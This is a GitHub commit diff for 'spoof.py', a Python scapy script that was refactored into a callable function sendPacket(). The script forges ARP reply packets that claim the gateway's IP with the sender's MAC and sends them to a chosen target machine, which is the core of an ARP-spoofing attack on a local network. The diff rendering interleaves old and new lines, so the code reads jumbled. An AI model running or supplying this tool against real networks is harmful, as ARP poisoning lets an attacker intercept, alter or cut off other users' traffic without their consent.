final spoof.py with callable function

This commit is contained in:
xdavidhu 2016-12-28 10:11:31 +01:00 committed by GitHub
parent c3e1bb2d2a
commit 788c400f1a

View File

@ -1,46 +1,29 @@
import sys def sendPacket(my_mac, interface, my_ip, target_ip, target_mac):
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
try: import sys
my_mac = sys.argv[1] from scapy.all import (
interface = sys.argv[2] get_if_hwaddr,
my_ip = sys.argv[3] getmacbyip,
target_ip = sys.argv[4] ARP,
target_mac = sys.argv[5] Ether,
except: sendp
print "Usage: sudo python spoof.py [MY_MAC] [IFACE] [GATEWAY_IP] [TARGET_IP] [TARGET_MAC]" )
exit()
ether = Ether() ether = Ether()
ether.src = my_mac # Default: network card mac ether.src = my_mac
arp = ARP() arp = ARP()
arp.psrc = my_ip arp.psrc = my_ip
arp.hwsrc = my_mac arp.hwsrc = my_mac
arp = arp arp = arp
arp.pdst = target_ip # Default: 0.0.0.0 arp.pdst = target_ip
arp.hwdst = target_mac # Default: 00:00:00:00:00:00 arp.hwdst = target_mac
ether = ether ether = ether
ether.src = my_mac ether.src = my_mac
ether.dst = target_mac # Default: ff:ff:ff:ff:ff:f ether.dst = target_mac
def craftRequestPkt():
packet = ether/arp
sendp(x=packet, inter=1, count=1000)
def craftReplyPkt():
arp.op = 2 arp.op = 2
packet = ether/arp packet = ether/arp
sendp(x=packet, inter=1, count=1000) sendp(x=packet)
if __name__ == '__main__':
craftReplyPkt()